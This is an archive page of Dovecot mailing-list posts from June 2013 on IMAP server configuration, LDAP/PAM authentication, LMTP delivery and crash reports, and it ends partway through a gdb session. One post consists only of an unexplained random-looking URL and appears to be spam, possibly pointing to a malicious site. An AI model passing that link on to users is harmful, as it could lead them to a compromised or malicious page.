[Dovecot] valid folder name
by Jan-Frode Myklebust 05 Jun '13

05 Jun '13

We have a quite large user base, with lots of bad folder names because the mail folders was earlier accessible outside of dovecot. Now we're running dsync conversions from maildir to mdbox for all users, but are struggelig a bit with dsync not liking invalid folder names. Before we convert a user we try to determine if the folder names are valid, but we don't have a very good regexp for validating it. Maybe someone else knows a way to verify (and fix?) folder names that are invalid. The rules I know is: - name doesn't start with '.' or '~' (after the initial '.') - name doesn't end with '.' - the name doesn't contain '..' - the name is valid mUTF7 So, any regexp gurus that can distill those rules down to something usable? -jf -- Some people, when confronted with a problem, think "I know, I'll use regular expressions." Now they have two problems. -jwz

1 0

[Dovecot] Make install error
by kengheng 05 Jun '13

05 Jun '13

Hi, I'm recompiling dovecot 2.2.0/2.2.1 with error below during make install: test -z "/usr/local/dovecot/lib/dovecot/auth" || /usr/bin/mkdir -p "/usr/local/dovecot/lib/dovecot/auth" /usr/bin/mkdir: cannot create directory ‘/usr/local/dovecot/lib/dovecot/auth’: File exists make[3]: *** [install-auth_moduleLTLIBRARIES] Error 1 make[3]: Leaving directory `/usr/local/src/dovecot-2.2.1/src/auth' make[2]: *** [install-am] Error 2 make[2]: Leaving directory `/usr/local/src/dovecot-2.2.1/src/auth' make[1]: *** [install-recursive] Error 1 make[1]: Leaving directory `/usr/local/src/dovecot-2.2.1/src' make: *** [install-recursive] Error 1 The target Svr OS: OpenSuse 12.2 x86 and installed success for qmail/vpopmail. The configuration for dovecot as below: ./configure \ --prefix=/usr/local/dovecot \ --with-vpopmail \ --with-docs \ --with-ssl \ --without-shadow \ --without-pam \ --without-ldap \ --without-pgsql \ --without-sql \ --without-mysql \ --without-sqlite Thanks, KH. Chan

4 11

[Dovecot] Director in v2.2.2
by Joe Wong 05 Jun '13

05 Jun '13

Hi, I am going to try and study Dovecot with Director in v2.2.2, would like to confirm the Director bundled there is the latest version, as I saw #define DIRECTOR_VERSION_NAME "director" #define DIRECTOR_VERSION_MAJOR 1 #define DIRECTOR_VERSION_MINOR 3 in director.h thanks, - Joe

1 0

[Dovecot] Support not compiled in for passdb driver 'pam' + telnet localhost imap.
by Maria Jose Yañez Dacosta 05 Jun '13

05 Jun '13

Hi!, I Install dovecot version 2.1.16 on CentOS 6.4 x86_64. When I try to test the installation (by telnet localhost imap) the following error occurs: "auth: Fatal: Support not compiled in for passdb driver 'pam'". I do not discover what caused this. Here I leave the configuration data and the log. Thanks ------------------------------------ / var / log / maillog --------------------------------------- May 31 15:45:55 prueba-mail dovecot: master: Dovecot v2.1.16 starting up (core dumps disabled) May 31 15:46:04 prueba-mail dovecot: auth: Fatal: Support not compiled in for passdb driver 'pam' May 31 15:46:04 prueba-mail dovecot: master: Error: service(auth): command startup failed, throttling for 2 secs May 31 15:46:04 prueba-mail dovecot: imap-login: Disconnected: Auth process broken (disconnected before greeting, waited 0 secs): user=<>, rip=::1, lip=::1, secured, session=<jabyBgjevAAAAAAAAAAAAAAAAAAAAAAB> ------------------------------------ doveconf-n -------------------------------------------------- # 2.1.16: /usr/local/etc/dovecot/dovecot.conf # OS: Linux 2.6.32-358.6.2.el6.x86_64 x86_64 CentOS release 6.4 (Final) auth_use_winbind = yes namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } passdb { driver = pam } protocols = imap pop3 ssl = no userdb { args = uid=10000 gid=10000 home=/mail/%d/%n allow_all_users=yes driver = static } -- Maria José

1 0

[Dovecot] Fw: Cannot Authenticate via LDAP
by Christian Wiese 04 Jun '13

04 Jun '13

Hello Christian, I tried what you suggested by adding "REFERALS off" to /etc/ldap/ldap.conf and restarting slapd and dovecot, but the error persists. On Tue, Jun 4, 2013 at 7:56 AM, Christian Wiese < christian.wiese(a)securepoint.de> wrote: > Hi Ron, > > I didn't had the time to check all logs but the error log. > First thing you should check if there are LDAP REFFERALS enabled in > the systems ldap.conf. > I had a similar looking issue and it took me a good amount of time to > figure out that I had to disable LDAP REFFERALS globally. > This happened when using an AD as LDAP backend, but also applies to > Samba4 as you can see in the following mailing list thread: > > > http://dovecot.markmail.org/message/mjurv4fp4w65u2ib?q=Dovecot+LDA+LDAP+loo… > > The settings within the systems ldap.conf might influence dovecot, > because libldap (openldap) functions might read the global ldap.conf > settings. > > Hope that helps. > > Cheers, > Chris > > Am Tue, 4 Jun 2013 05:50:16 -0400 > schrieb Ron Scott-Adams <ron(a)tohuw.net>: > > > a login tohuw [myPassword] returns "NO [AUTHENTICATIONFAILED] > > Authentication failed." I believe I'm missing a configuration > > detail, but what? > > > > > > info.log: http://pastebin.ca/2388873 > > > > debug.log: http://pastebin.ca/2388872 > > > > error.log: http://pastebin.ca/2388871 > > > > dovecot -n: http://pastebin.ca/2388870 > > > > dovecot-ldap.conf.ext summary: http://pastebin.ca/2388867 > >

3 5

[Dovecot] Administrative mailbox deletions
by Alan Brown 04 Jun '13

04 Jun '13

I'm in the process of nuking a bunch of dead mailboxes after they've been migrated to other servers - but the accounts have been kept. A simple shell script takes care of most of it, BUT.... (there's always a "but" isn't there?) One user has named all his mailboxes with leading hyphens. ie: -foo -bar -bazz and "doveadm mailbox delete" doesn't like it. Does anyone have the magic sauce needed to escape the - character? Thanks in advance Alan

3 2

[Dovecot] Cannot Authenticate via LDAP
by Ron Scott-Adams 04 Jun '13

04 Jun '13

a login tohuw [myPassword] returns "NO [AUTHENTICATIONFAILED] Authentication failed." I believe I'm missing a configuration detail, but what? info.log: http://pastebin.ca/2388873 debug.log: http://pastebin.ca/2388872 error.log: http://pastebin.ca/2388871 dovecot -n: http://pastebin.ca/2388870 dovecot-ldap.conf.ext summary: http://pastebin.ca/2388867

2 1

Re: [Dovecot] Administrative mailbox deletions
by Alan Brown 04 Jun '13

04 Jun '13

>> and "doveadm mailbox delete" doesn't like it. >> >> Does anyone have the magic sauce needed to escape the - character? > > An "escaping" that works at the *nix level (not necessarily with > doveadm, but I would assume it works there too) is, e.g., > > rm -- -foo > > i.e., double dashes to nullify the "-" option flag, followed by the > filename. That does work. Thanks. Alan

1 0

[Dovecot] Imap Server as storage backend for dovecot
by Micha Krause 04 Jun '13

04 Jun '13

Hi, I remember reading about the possibility to configure a namespace to point to another imap server (not dovecot) and use it as a backend for storing mails. However, I could not find any documentation about this, so Im not sure if I remember correctly. Micha Krause

1 0

[Dovecot] recursive mail_location?
by Eric Abrahamsen 04 Jun '13

04 Jun '13

Forgive what may be a newby question, but I'm trying to get a new setup working, and there are many different things confusing me. I'm trying for a gnus + dovecot + mbsync arrangement, with mbsync writing to maildirs, and gnus reading from those dirs with a dovecot invocation. Fairly standard, I think. I have multiple email accounts I'm trying to sync, all of them gmail. My problem is that mbsync creates one maildir structure for each mailbox in each account. So I end up with: ~/mail ├── acc1 │ ├── INBOX │ │ ├── cur │ │ ├── new │ │ └── tmp │ └── OTHERBOX │ ├── cur │ ├── new │ └── tmp └── acc2 ├── INBOX │ ├── cur │ ├── new │ └── tmp └── OTHERBOX ├── cur ├── new └── tmp And so on, for many accounts, and many mailboxes. I believe there's something I can configure in mbsync to collapse this a little, but there's still going to be quite a bit of nesting. Gnus, meanwhile, is meant to invoke dovecot with the "-o mail_location" switch, and as far as I can tell that needs to be pointed at a maildir structure, which means I would need a separate gnus server for each mailbox in each account. Does anyone have a recommended way of handling this? Is it possible to either "flatten" the structure further, or somehow tell dovecot to recurse into directories? I don't mind having a separate gnus server for each mail account, but I'd hate to have to do one per mailbox. I'm only just getting started and haven't invested myself in any particular setup, so if the answer is "you're doing it all wrong", I would love to hear that. Thanks! Eric

3 5

[Dovecot] Configuration advice needed.
by Olivier Girard 03 Jun '13

03 Jun '13

Hello, First, thanks for this great piece of software. I'm new to dovecot and i've just converted my old courier configuration on pop/imap server side, everithing is working just fine on this side and speed gain expected was found (not enough for our busy servers :). Setup is done with 3 dovecot virtual servers load balanced with a Hardware load balancer (this part is a big point of the question). Postfix and dovecot servers use an NFS share on a NetApp for mail, Postfix servers are writting directly to inbox maildirs. Load balanced is maintaining afinity betwen client and server so i've got no problem with this for the moment. Now, i want to setup postfix (3 HW load balanced) for local delivery with LMTP on deovecot servers, and here come my questions. Afinity can't be maintained between IMAP and LMTP for a user with my load balancer so mail can be delivered on dovecot01 and read on dovecot02, from what i've read this can be an issue with indexes. I think i need to setup a director to maintain LMTP and IMAP afinity between users and servers but on imap servers i'm identifying user with their UID, and LMTP need to see emails. Does dovecot see the same user or 2 users with the same homedir? So my question is: could you point me to the right direction with this setup, do you have any advice on this config. Actual configurations: (postlogin not in real use, just a touch on (imap/pop3)_last_login) POP/IMAP server: dovecot01# doveconf -n # 2.1.15: /usr/local/etc/dovecot/dovecot.conf # OS: FreeBSD 8.3-RELEASE-p3 amd64 auth_cache_negative_ttl = 0 auth_cache_size = 10 M auth_mechanisms = plain login auth_verbose = yes default_client_limit = 1500 default_process_limit = 500 default_vsz_limit = 1 G disable_plaintext_auth = no dotlock_use_excl = no lock_method = dotlock mail_fsync = always mail_gid = vmail mail_location = maildir:%h/Maildir:INDEX=/mail_index%h mail_nfs_index = yes mail_nfs_storage = yes mail_plugins = " stats" mail_uid = vmail mmap_disable = yes namespace { inbox = yes location = prefix = INBOX. separator = . } passdb { args = /usr/local/etc/dovecot/dovecot-ldap.conf.ext driver = ldap } plugin { stats_refresh = 30 secs stats_track_cmds = yes } protocols = imap pop3 service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } user = $default_internal_user } service imap-postlogin { executable = script-login /usr/local/bin/imap-postlogin.sh user = vmail } service imap { executable = imap imap-postlogin process_limit = 1024 } service pop3-postlogin { executable = script-login /usr/local/bin/pop3-postlogin.sh user = vmail } service pop3 { executable = pop3 pop3-postlogin process_limit = 1024 } service stats { fifo_listener stats-mail { mode = 0600 user = vmail } } ssl_cert = </etc/ssl/cert/mail.univ-angers.fr.pem ssl_key = </etc/ssl/cert/mail.univ-angers.fr.key userdb { args = /usr/local/etc/dovecot/dovecot-ldap.conf.ext driver = ldap } protocol imap { mail_plugins = " stats imap_stats" } Postfix Test Server: %doveconf -n # 2.1.15: /usr/local/etc/dovecot/dovecot.conf # OS: FreeBSD 8.3-RELEASE-p3 amd64 auth_debug = yes auth_mechanisms = plain login auth_verbose = yes default_client_limit = 1500 default_process_limit = 500 default_vsz_limit = 512 M disable_plaintext_auth = no dotlock_use_excl = no lock_method = dotlock mail_fsync = always mail_gid = vmail mail_location = maildir:%h/Maildir:INDEX=/mail_index%h mail_nfs_index = yes mail_nfs_storage = yes mail_uid = vmail mmap_disable = yes namespace { inbox = yes location = prefix = INBOX. separator = . } passdb { args = /usr/local/etc/dovecot/dovecot-ldap.conf.ext driver = ldap } protocols = lmtp service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener auth-userdb { user = vmail } user = $default_internal_user } service imap-postlogin { executable = script-login /usr/local/bin/imap-postlogin.sh user = vmail } service imap { executable = imap imap-postlogin process_limit = 1024 } service lmtp { inet_listener lmtp { address = * :: port = 24 } process_min_avail = 20 user = vmail } service pop3-postlogin { executable = script-login /usr/local/bin/pop3-postlogin.sh user = vmail } service pop3 { executable = pop3 pop3-postlogin process_limit = 1024 } ssl_cert = </etc/ssl/cert/mail.univ-angers.fr.pem ssl_key = </etc/ssl/cert/mail.univ-angers.fr.key userdb { args = /usr/local/etc/dovecot/dovecot-ldap.conf.ext driver = ldap } File dovecot-ldap.conf.ext uris = ldap://ldap.uang dn = cn=acces-smtp, ou=access, dc=univ-angers, dc=fr dnpass = ********** base = ou=people, dc=univ-angers, dc=fr user_attrs = homeDirectory=home user_filter = (&(|(uid=%u) (mail=%u) (auaAliasEmail=%u))(|(auaStatut=etu)(auaStatut=etu-sortant)(auaStatut=perso)(auaStatut=perso-sortant))) pass_attrs = uid=user,userPassword=password pass_filter = (&(|(uid=%u) (mail=%u) (auaAliasEmail=%u)) (|(auaStatut=etu)(auaStatut=etu-sortant)(auaStatut=perso) (auaStatut=perso-sortant))) iterate_attrs = uid=user iterate_filter = (|(auaStatut=etu)(auaStatut=etu-sortant)(auaStatut=perso)(auaStatut=perso-sortant)) default_pass_scheme = MD5-CRYPT

2 2

[Dovecot] An unconstructive grumble
by dd 03 Jun '13

03 Jun '13

5 hours of configuration attempts, error after confusing error, documentation with examples that only show extracts of working configurations. I really feel like throwing in the towel with dovecot. It should not be this hard and frankly almost impossible to understand and configure for such an incedibly simple configuration. /home/vmail/domain.name/username/cur /home/vmail/domain.name/username/new /home/vmail/domain.name/username/tmp 3 virtual users. All I want is a username and password to access my email. I have to have hit every error and problem there can be. No response at all from server, unable to find password file, unable to recognise user, invalid password. God it went on and on and on for five or more hours. For such a simple config. I know this is a totally unconstructive complaint and I should be taking the time to set out a careful explanation of my problem along with errors and logfiles but I just can't be bothered. I've tried so many many configurations and options and nothing works. How can it possibly be this hard to ghet some emails off the server with simple username/password configurations. Go ahead and flame me to a crisp. -- View this message in context: http://dovecot.2317879.n4.nabble.com/An-unconstructive-grumble-tp42598.html Sent from the Dovecot mailing list archive at Nabble.com.

7 7

[Dovecot] Settings: Dovecot + NTLM + Single Sing On + Windows + Outlook or Thunderbird.
by Maria Jose Yañez Dacosta 03 Jun '13

03 Jun '13

I am following the steps listed in: http://wiki.dovecot.org/HowTo/ActiveDirectoryNtlm My goal is to have single sign-on for Microsoft Outlook applications. I working and I have some doubts since I never set up an imap server, hope I can help :). The version that I have installed is devecot 2.0.9. "dovecot -n" shows the following: # 2.0.9: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-71.el6.x86_64 x86_64 CentOS release 6.4 (Final) auth_use_winbind = yes mbox_write_locks = fcntl passdb { driver = pam } protocols = imap pop3 ssl = no userdb { args = uid=10000 gid=10000 home=/mail/%d/%n driver = static } I show what I have in /etc/samba/smb.conf [global] workgroup = EJEMPLO realm = EJEMPLO.COM.UY server string = %h (Samba %v) security = ADS password server = ad.domain.dom username map = /etc/samba/mapeousuarios map untrusted to domain = Yes syslog = 0 log file = /var/log/samba/log.%m max log size = 1000 name resolve order = wins host bcast local master = No domain master = No dns proxy = No wins server = here active directory ip panic action = /usr/share/samba/panic-action %d winbind separator = + winbind use default domain = Yes winbind rpc only = Yes idmap config * : range = 1200-3000 idmap config * : backend = tdb [usuarios3] path = /exports/archivos-usuarios read only = No map acl inherit = Yes store dos attributes = Yes "wbinfo -g" and "wbinfo -u" work well. kinit Administrator work well also. Some steps of the configuration in dovecot.conf does not recognize: 1) "protocols = imap imaps pop3 pop3s". 2) "mechanisms = plain ntlm login". 3) "allow_all_users=yes" y "mail=maildir:/home/vmail/%d/%1Ln/%Ln:INBOX=/home/vmail/%d/%1Ln/%Ln". I'm not sure I should put in place. I also have some doubts: 1) I have to create a keytab file containing the principal for imap and pop?, as it would indicate Dovecot?. 2) That should indicate values uid y el gid? 3) I have to set something in pam? if I make "telnet localhost imap" shows the following: OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE AUTH=PLAIN] Dovecot ready NTLM not appears in the options. I hope I can shed some light on the subject :) Thanks and greetings. -- Maria José

2 5

[Dovecot] =Davide Pasquale=
by Davide Pasquale 02 Jun '13

02 Jun '13

http://archiv.isusice.eu/ewcyozyg/fltdigdpmijtefzkeuuepzdutvxu.hnfzuk

1 0

Re: [Dovecot] MS asks for feedback on standards support in Outlook/Exchange
by Robert Schetterer 01 Jun '13

01 Jun '13

Am 01.06.2013 13:40, schrieb Timo Sirainen: > On 1.6.2013, at 9.35, Robert Schetterer <rs(a)sys4.de> wrote: > >> Am 01.06.2013 00:28, schrieb Timo Sirainen: >>> Someone should at least mention that they should support the real SPECIAL-USE instead of just Gmail-specific XLIST.. >> >> i cant see any major Problems recent with i.e outlook 2013 and dovecot >> and SPECIAL-USE, perhaps look the screens at > > What about http://dovecot.org/list/dovecot/2013-May/090489.html ? > --- Outlook 2013 is only working when adding XLIST manually to imap_capability imap_capability = +XLIST --- i dont have this on my servers, and outlook 2013 works with special use as expected perhaps this helps http://social.technet.microsoft.com/Forums/de-DE/officeitpro/thread/eacaa11… --- You're welcome. Regarding your questions: Exchange 2010 and its supported (and unsupported and deviations from) IMAP standards are described on MS-STANXIMAP (MSDN). As far as I can tell, neither XLIST nor the enhanced (=extension of the standard) version of LIST is supported. Please keep in mind that this wouldn't matter very much, since most would connect to an Exchange 2010 server using either ActiveSync or MAPI/RPC. The following scenarios would definitely work: (A) your provider allows connections using ActiveSync (often referred to as "mobile" connection/access) and you're using Outlook 2013, (B) your provider allows connections using MAPI/RPC and you're using Outlook 2010. Outlook 2013 supports the extension specified in RFC 6154 and implements it using the XLIST command (as per MS-STANOIMAP), as documented in MS-STANOIMAP part 2.2.38; however, the LIST command in the same document doesn't mention the extension, so I'd assume it (Outlook 2013) doesn't necessarily support this feature using LIST as specified per RFC6154 (but only using explicitly XLIST.) Usually, any newer IMAP server supporting RFC6154 "LIST" ("XLIST") supports both the older XLIST as well as the newer LIST syntax. If it doesn't, a patch implementing this feature shouldn't be longer than a few (10 maybe?) lines of code and a few kind words to the developer team to get it into the next release of the server in question. --- http://msdn.microsoft.com/en-us/library/ee624430%28v=exchg.80%29.aspx ----------- V0061: The specification describes how to define an experimental command or any command that is not part of the specification. Microsoft Office Outlook 2007, Microsoft Outlook 2010 Outlook does not define any such commands. Microsoft Outlook 2013 Outlook 2013 implements the IMAP LIST extension specified in [RFC6154] as the XLIST command. --------------- so it may more a typical microsoft doku problem *g but however ,in fact no working trouble with dovecot SPECIAL-USE as far i remmeber to that list posting the problem whas there should get fixed was outlooks meaning of the Junk folder stuff, which is basicly done in another way by having its own antispam feature setup, so there are a few way to workaround that problem which i never tested and never will. My simple answer always is, Outlook is the client of exchange, with few stuff supporting normal internet mail ( imap etc ), dont use it with internet mail or live with its problems for notice Horde will implement Outlook 2013 complete active sync stack , so if that will happen, use active sync modus outlook 2013 with calender, abook, push mail , should no need for direct imap server con then, and it should "feel" like using exchnage ( but i think for one account only ), as horde has caldav and carddav , syncml too it can be used as middleware between many clients on many different os types i.e thunderbird lightning and k9 or native androids mail clients in exchange mode Best Regards MfG Robert Schetterer -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstraße 15, 81669 München Sitz der Gesellschaft: München, Amtsgericht München: HRB 199263 Vorstand: Patrick Ben Koetter, Axel von der Ohe, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein Best Regards MfG Robert Schetterer -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstraße 15, 81669 München Sitz der Gesellschaft: München, Amtsgericht München: HRB 199263 Vorstand: Patrick Ben Koetter, Axel von der Ohe, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein

1 1

[Dovecot] v2.2.2 (7b1152c83e3e) latest changes break LMTP
by Thomas Leuxner 01 Jun '13

01 Jun '13

Suppose this one breaks it: http://hg.dovecot.org/dovecot-2.2/rev/c4a85c9df948 ==> /var/log/mail.log <== Jun 1 14:01:30 spectre postfix/lmtp[456]: 3bN0qP5kwFzSy: to=<tlx(a)leuxner.net>, relay=spectre.leuxner.net[private/dovecot-lmtp], delay=1481, delays=1481/0/0.01/0.01, dsn=4.3.0, status=deferred (host spectre.leuxner.net[private/dovecot-lmtp] said: 451 4.3.0 <tlx(a)leuxner.net> Temporary internal error (in reply to end of DATA command)) ==> /var/log/dovecot/dovecot.log <== Jun 1 14:01:30 spectre dovecot: lmtp(523): Error: Can't open delivery mail as raw: Invalid mailbox name: Name is empty Regards Thomas

4 7

[Dovecot] real and virtual users
by devocotml＠fuckaround.org 01 Jun '13

01 Jun '13

Hi all! I use debian with real users (pam) and virtual users: I receive mail from virtual users but not from real users. Real users can connect and do login but no email received :-( Any idea? thanks! dovecot -n # 1.2.15: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-5-686 i686 Debian 6.0.7 log_path: /var/log/dovecot.log log_timestamp: %Y-%m-%d %H:%M:%S protocols: pop3s ssl_cert_file: /etc/dovecot/ssl/dovecotpop.crt ssl_key_file: /etc/dovecot/ssl/dovecotpop.key login_dir: /var/run/dovecot/login login_executable: /usr/lib/dovecot/pop3-login mail_location: maildir:~Maildir mbox_write_locks: fcntl dotlock mail_executable: /usr/lib/dovecot/pop3 mail_plugin_dir: /usr/lib/dovecot/modules/pop3 lda: auth_socket_path: /var/run/dovecot/auth-master postmaster_address: max(a)nuvolabianca.org mail_plugins: sieve log_path: /var/log/dovecot-lda.log log_path: auth default: mechanisms: plain login verbose: yes passdb: driver: passwd-file args: scheme=SHA256 /etc/dovecot/v_users.conf passdb: driver: pam userdb: driver: static args: uid=5000 gid=5000 home=/home/vhosts/%d/%n allow_all_users=yes socket: type: listen client: path: /var/spool/postfix/private/auth mode: 432 user: postfix group: postfix master: path: /var/run/dovecot/auth-master mode: 384 user: vmail group: vmail

1 0

[Dovecot] Fwd: MS asks for feedback on standards support in Outlook/Exchange
by Timo Sirainen 01 Jun '13

01 Jun '13

Someone should at least mention that they should support the real SPECIAL-USE instead of just Gmail-specific XLIST.. Begin forwarded message: > From: Andrew Laurence <atlauren(a)me.com> > Subject: [imapext] MS asks for feedback on standards support in Outlook/Exchange > Date: 1. kesäkuuta 2013 1.18.42 UTC+3.00 > To: HIED-EMAILADMIN(a)LISTSERV.ND.EDU, windows-hied(a)lists.stanford.edu, office365(a)ucdavis.edu, imapext(a)ietf.org > > Hello everyone, > > Forgive the massive list cross-posting, but I thought this noteworthy enough to spread around. > > Via their Openness@Microsoft blog, Microsoft invites input on their standards support in Outlook and Exchange. I'm sure they'd like to hear thoughtful, detailed, insightful responses from the customer world at large. > http://blogs.technet.com/b/openness/archive/2013/05/31/feedback-exchange-se… > > Cheers, > Andrew > -- > Andrew Laurence Office of Information Technology > atlauren(a)uci.edu University of California, Irvine > atlauren(a)me.com (Lists) > > _______________________________________________ > imapext mailing list > imapext(a)ietf.org > https://www.ietf.org/mailman/listinfo/imapext

2 2

[Dovecot] dovecot-lmtp does not work
by He Shiming 01 Jun '13

01 Jun '13

Dear Community, I've got a weird problem regarding lmtp setup with dovecot 2.0.19 on ubuntu 12.04.2 LTS. My reference of the configuration is at https://library.linode.com/email/postfix/postfix2.9.6-dovecot2.0.19-mysql , and my configuration is identical to it with the exception of opening the 110 pop3 port, and enabling plain text auth. Everything from imap, smtp, pop3 (including auth) works except for lmtp. I saw thousands of the following messages in /var/log/mail.log: May 31 09:05:24 postfix/lmtp[3664]: 2FD80321F4: to=<myaddress(a)me.com>, relay=none, delay=0.41, delays=0.41/0/0/0, dsn=4.4.1, status=deferred (connect to me.com[private/dovecot-lmtp]: No such file or directory) And it happens when an incoming email is received. Here's the output of configuration: root@prosp:/etc/dovecot/conf.d# dovecot -n # 2.0.19: /etc/dovecot/dovecot.conf # OS: Linux 3.8.4-linode50 i686 Ubuntu 12.04.2 LTS ext3 auth_mechanisms = plain login disable_plaintext_auth = no mail_location = maildir:/var/mail/vhosts/%d/%n mail_privileged_group = mail managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } protocols = imap pop3 sieve service auth-worker { user = vmail } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener /var/spool/postfix/private/dovecot-auth { group = postfix mode = 0660 user = postfix } unix_listener auth-userdb { mode = 0600 user = vmail } user = dovecot } service imap-login { inet_listener imap { port = 0 } } service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0600 user = postfix } } service pop3-login { inet_listener pop3 { port = 110 } } ssl_cert = </etc/ssl/certs/dovecot.pem ssl_cipher_list = ALL:!LOW:!SSLv2:ALL:!aNULL:!ADH:!eNULL:!EXP:RC4+RSA:+HIGH:+MEDIUM ssl_key = </etc/ssl/private/dovecot.pem userdb { args = uid=vmail gid=vmail home=/var/mail/vhosts/%d/%n driver = static } protocol imap { imap_client_workarounds = delay-newmail mail_max_userip_connections = 10 } protocol pop3 { mail_max_userip_connections = 10 pop3_client_workarounds = outlook-no-nuls oe-ns-eoh } protocol lda { deliver_log_format = msgid=%m: %$ mail_plugins = sieve postmaster_address = postmaster quota_full_tempfail = yes rejection_reason = Your message to <%t> was automatically rejected:%n%r } This problem has been discussed here: http://serverfault.com/questions/512219/dovecot-lmtp-does-not-exist . I've then tried switching from unix socket to inet listener, and still got the same result. I cannot get lmtp service to start. I'm also seeing no errors in the log when dovecot is restarted (see the above link for the log). I'm wondering how do I go about troubleshooting this problem? What might be the possible cause? Is it possible for dovecot to output verbose logs regarding service startups? Thank you. -- Best regards, He Shiming *Kaoya.me <http://kaoya.me> | Goals.io<http://itunes.apple.com/us/app/goals.io-realize-your-dreams/id496228828?ls=…> | Toppin'Wiper <https://itunes.apple.com/app/toppinwiper/id553527232?mt=8> | MediaMan <http://www.imediaman.com>*

2 3

[Dovecot] imapc "moving email to another folder" crashes
by Michael Miller 01 Jun '13

01 Jun '13

Hello List, I am having the same problem with dovecot 2.2.1 on RHEL and dovecot 2.2.2 on FreeBSD and the imapc proxy. moving eMail from one folder to another folder. the error is reproducible. Logfile RHEL/Dovecot 2.2.1: May 31 19:57:45 imap(mail(a)--------.com): Panic: file mail-storage.c: line 2100 (mailbox_copy): assertion failed: (!ctx->unfinished) May 31 19:57:45 imap(mail(a)--------.com): Error: Raw backtrace: /usr/lib64/dovecot/libdovecot.so.0(+0x5f68a) [0x7fd60b76a68a] -> /usr/lib64/dovecot/libdovecot.so.0(+0x5f6d6) [0x7fd60b76a6d6] -> /usr/lib64/dovecot/libdovecot.so.0(+0x1fffa) [0x7fd60b72affa] -> /usr/lib64/dovecot/libdovecot-storage.so.0(+0x792f2) [0x7fd60ba402f2] -> dovecot/imap() [0x40bebb] -> dovecot/imap(command_exec+0x3d) [0x41502d] -> dovecot/imap() [0x414190] -> dovecot/imap() [0x41427d] -> dovecot/imap(client_handle_input+0x11d) [0x4144fd] -> dovecot/imap(client_input+0x6f) [0x41486f] -> /usr/lib64/dovecot/libdovecot.so.0(io_loop_call_io+0x36) [0x7fd60b7799d6] -> /usr/lib64/dovecot/libdovecot.so.0(io_loop_handler_run+0xa7) [0x7fd60b77aa87] -> /usr/lib64/dovecot/libdovecot.so.0(io_loop_run+0x28) [0x7fd60b779978] -> /usr/lib64/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7fd60b72fa63] -> dovecot/imap(main+0x2a9) [0x41dcf9] -> /lib64/libc.so.6(__libc_start_main+0xfd) [0x7fd60b396cdd] -> dovecot/imap() [0x40a579] May 31 19:57:45 imap(mail(a)--------.com): Fatal: master: service(imap): child 27742 killed with signal 6 (core dumped) Logfile FreeBSD / Dovecot 2.2.2: May 31 19:53:41 imap(mail(a)--------.com): Panic: file mail-storage.c: line 2105 (mailbox_copy): assertion failed: (!ctx->unfinished) May 31 19:53:41 imap(mail(a)--------.com): Fatal: master: service(imap): child 2077 killed with signal 6 (core not dumped) the configuration is more or less the same on both: # 2.2.1: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-358.6.2.el6.x86_64 x86_64 CentOS release 6.4 (Final) auth_mechanisms = plain login first_valid_uid = 97 imapc_host = imap.upstreamserver.com log_path = /var/log/dovecot.log mail_gid = dovecot mail_home = /clusterdata2/imapcache/%u mail_location = imapc:~/imapc mail_uid = dovecot passdb { args = host=imap.upstreamserver.com default_fields = userdb_imapc_user=%u userdb_imapc_password=%w driver = imap } protocols = imap service auth { unix_listener auth-client { mode = 0666 user = dovecot } } service imap { drop_priv_before_exec = yes } ssl_cert = </etc/ssl/imap-myserver-de.crt ssl_key = </etc/ssl/imap_myserver-de.key userdb { driver = prefetch } and finally the coredump from RHEL/Dovecot 2.2.1: # gdb /usr/libexec/dovecot/imap core GNU gdb (GDB) Red Hat Enterprise Linux (7.2-60.el6_4.1) Copyright (C) 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-redhat-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /usr/libexec/dovecot/imap...(no debugging symbols found)...done. [New Thread 27742] Reading symbols from /usr/lib64/dovecot/libdovecot-storage.so.0...(no debugging symbols found)...done. Loaded symbols for /usr/lib64/dovecot/libdovecot-storage.so.0 Reading symbols from /usr/lib64/dovecot/libdovecot.so.0...(no debugging symbols found)...done. Loaded symbols for /usr/lib64/dovecot/libdovecot.so.0 Reading symbols from /lib64/libc.so.6...(no debugging symbols found)...done. Loaded symbols for /lib64/libc.so.6 Reading symbols from /lib64/librt.so.1...(no debugging symbols found)...done. Loaded symbols for /lib64/librt.so.1 Reading symbols from /lib64/libdl.so.2...(no debugging symbols found)...done. Loaded symbols for /lib64/libdl.so.2 Reading symbols from /lib64/ld-linux-x86-64.so.2...(no debugging symbols found)...done. Loaded symbols for /lib64/ld-linux-x86-64.so.2 Reading symbols from /lib64/libpthread.so.0...(no debugging symbols found)...done. [Thread debugging using libthread_db enabled] Loaded symbols for /lib64/libpthread.so.0 Reading symbols from /lib64/libnss_files.so.2...(no debugging symbols found)...done. Loaded symbols for /lib64/libnss_files.so.2 Reading symbols from /lib64/libgcc_s.so.1...(no debugging symbols found)...done. Loaded symbols for /lib64/libgcc_s.so.1 Core was generated by 